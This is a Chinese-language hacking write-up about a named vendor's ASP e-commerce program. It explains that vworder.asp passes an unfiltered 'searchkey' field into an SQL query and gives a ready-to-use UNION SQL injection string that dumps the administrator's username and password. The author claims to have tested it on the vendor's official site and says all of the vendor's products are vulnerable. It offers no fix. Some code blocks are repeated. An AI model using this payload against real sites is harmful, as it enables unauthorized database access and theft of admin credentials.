作者:Lan3a
官网:http://www.sungoto.com/
程序我感觉是抄袭的。不过又说不出来,到底抄袭的哪个程序。
先随便看了下代码,发现到了每一个变量都用了
SafeRequest()
这个函数来检查。
看了下,才发现原来是这个作用。
Function SafeRequest(ParaName,ParaType)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "<center>参数" & ParaName & "必须为数字型,请正确操作!</center>"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "<center>参数" & ParaName & "必须为数字型,请正确操作!</center>"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
这个时候凡是遇到有SafeRequest()的我都没去看了。
就这样我找到了vworder.asp这个文件,这个文件里的变量没有做任何检查就执行了查询。
<%dim goods
goods=request.form("searchkey")
set rs=server.CreateObject("adodb.recordset")
rs.open "select id,name,price1,score,price2,vipprice,actiondate,UserSex,realname,receipt,goods,postcode,comments,comment,remarks,paymethord,deliverymethord,state,paid,priced,useremail,usertel,address,productnum from orders where goods='"&goods&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "<center>查无此订单!</center>"
response.End
end if
%>
goods=request.form("searchkey")
set rs=server.CreateObject("adodb.recordset")
rs.open "select id,name,price1,score,price2,vipprice,actiondate,UserSex,realname,receipt,goods,postcode,comments,comment,remarks,paymethord,deliverymethord,state,paid,priced,useremail,usertel,address,productnum from orders where goods='"&goods&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "<center>查无此订单!</center>"
response.End
end if
%>
由于是post提交。所以我们来到searchorder.asp页面
在订单号里输入:
1' and 1=2 union select 1,2,3,4,5,6,userpassword,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22,23,24 from admin where ''='
然后会发现管理员的用户密码被爆了出来~官网测试如下:
最后我发现官网所有的程序都有这个漏洞,但需要更改查询的语句才能爆出密码。